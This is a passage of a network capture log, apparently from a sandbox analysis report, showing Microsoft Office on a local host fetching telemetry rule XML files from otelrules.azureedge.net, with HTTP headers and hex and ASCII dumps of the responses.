2024-12-02 06:38:01 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:01 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:02 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:01 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 38c0e8e4-701e-006f-64a1-42afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063801Z-174f78459684db9fhC1EWRc7g400000003zg00000000bc86 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:02 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:01 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:02 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:02 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: f24b5158-501e-0047-6a59-43ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063802Z-174f7845968zgtf6hC1EWRqd8s0000000x1000000000514c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:02 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:01 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:02 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:02 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b189b901-c01e-0079-3391-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063802Z-174f7845968kdththC1EWRzvxn0000000gg0000000001evf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:02 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:03 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:03 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:03 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 39707a40-001e-00a2-1737-43d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063803Z-174f7845968frfdmhC1EWRxxbw000000140000000000dm96 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:38:03 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:03 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:04 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:03 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 709a1193-501e-00a3-3559-43c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063803Z-174f78459688l8rvhC1EWRtzr00000000gmg000000009hyh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:04 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:03 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:04 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:04 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: ce4b1eeb-d01e-007a-68af-42f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063804Z-174f784596886s2bhC1EWR743w0000001460000000001q3t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:04 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:04 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:04 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:04 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: c562a2d5-001e-0082-3a33-445880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063804Z-174f7845968vqt9xhC1EWRgten000000142g000000007ts1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:04 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:04 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:04 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:04 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 9b9719a8-201e-0033-3491-3fb167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063804Z-174f7845968kdththC1EWRzvxn0000000gcg000000007vdy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:04 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:05 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:06 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:06 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: e52eaca9-401e-0064-32a1-4254af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063806Z-174f7845968cpnpfhC1EWR3afc00000013m000000000bvgx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:38:06 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:05 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:06 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 36571fa1-001e-0079-6699-4312e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063806Z-174f7845968glpgnhC1EWR7uec000000146000000000848u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:06 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:06 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:38:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:38:06 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 20c5b054-901e-0016-7725-44efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063806Z-174f7845968swgbqhC1EWRmnb40000001480000000003t1f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:38:06 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:38:06 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
